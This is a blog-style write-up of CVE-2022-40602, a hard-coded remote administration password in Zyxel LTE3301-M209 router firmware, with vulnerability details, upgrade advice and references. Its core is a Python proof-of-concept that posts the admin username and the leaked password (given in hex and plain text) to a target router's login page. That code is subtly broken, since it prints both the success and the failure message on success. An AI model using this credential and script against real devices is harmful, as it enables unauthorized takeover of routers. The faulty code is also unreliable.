A critical security vulnerability was reported in Zyxel LTE3301-M209 firmware versions earlier than V1.00(ABLG.6)C. This exploit allows unauthorized remote attackers to access the device with a pre-configured, improper password, provided that an authenticated administrator has enabled the remote administration feature. In this article, we will discuss the details of this vulnerability (CVE-2022-40602), show a sample exploit code snippet, and provide references to the original sources.

Vulnerability Details

CVE-2022-40602 is a high-risk vulnerability impacting the Zyxel LTE3301-M209 firmware, a router device widely used for providing broadband connectivity. If the remote administration feature is enabled by an administrator, an attacker can exploit this vulnerability to access the device using an incorrect password.

This issue exists due to the implementation of a weak pre-configured password that is improperly validated. The password in question is hard-coded and insecure, allowing attackers to bypass authentication mechanisms and gain unauthorized access. Once access is granted, the attacker can perform unauthorized actions on the device, such as modifying configuration settings and disrupting the network.

Code Snippet

Here's an example exploit using Python to demonstrate how an attacker can send a crafted HTTP POST request to the target device and attempt to login with the weak password:

import requests

# Replace "TARGET_IP" with the IP address of the target device
url = "http://TARGET_IP/cgi-bin/luci";

# Weak pre-configured password in hex format: "7ujm*IK<"
password = "37756a6d2a494b3c"

# Payload with username "admin" and the weak password
payload = f"username=admin&password={password}"

# Send the crafted HTTP POST request to the vulnerable device
response = requests.post(url, data=payload)

# Check if the login attempt was successful
if "stok" in response.url:
    print("Login successful!")
    print("Login failed.")

Prevention and Mitigation

Zyxel has released a firmware update, version V1.00(ABLG.6)C, to address this vulnerability. Users with affected devices should upgrade their firmware as soon as possible to protect their systems from potential attacks. Moreover, administrators should disable the remote administration feature in their devices whenever possible.

1. CVE-2022-40602 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40602
2. Zyxel Security Advisory - https://www.zyxel.com/support/remote_web_management_password_vulnerability_LTE3301.shtml
3. NVD (National Vulnerability Database) - https://nvd.nist.gov/vuln/detail/CVE-2022-40602


CVE-2022-40602 is a critical vulnerability affecting Zyxel's LTE3301-M209 firmware that allows unauthorized remote access. Attackers may exploit this flaw to gain unauthorized access to the affected device by using an improperly pre-configured password. To address this issue, Zyxel has released a firmware update, V1.00(ABLG.6)C, to resolve the vulnerability. It is highly recommended for users with affected devices to upgrade their firmware and disable the remote administration feature when not needed.


Published on: 11/22/2022 02:15:00 UTC
Last modified on: 11/26/2022 03:27:00 UTC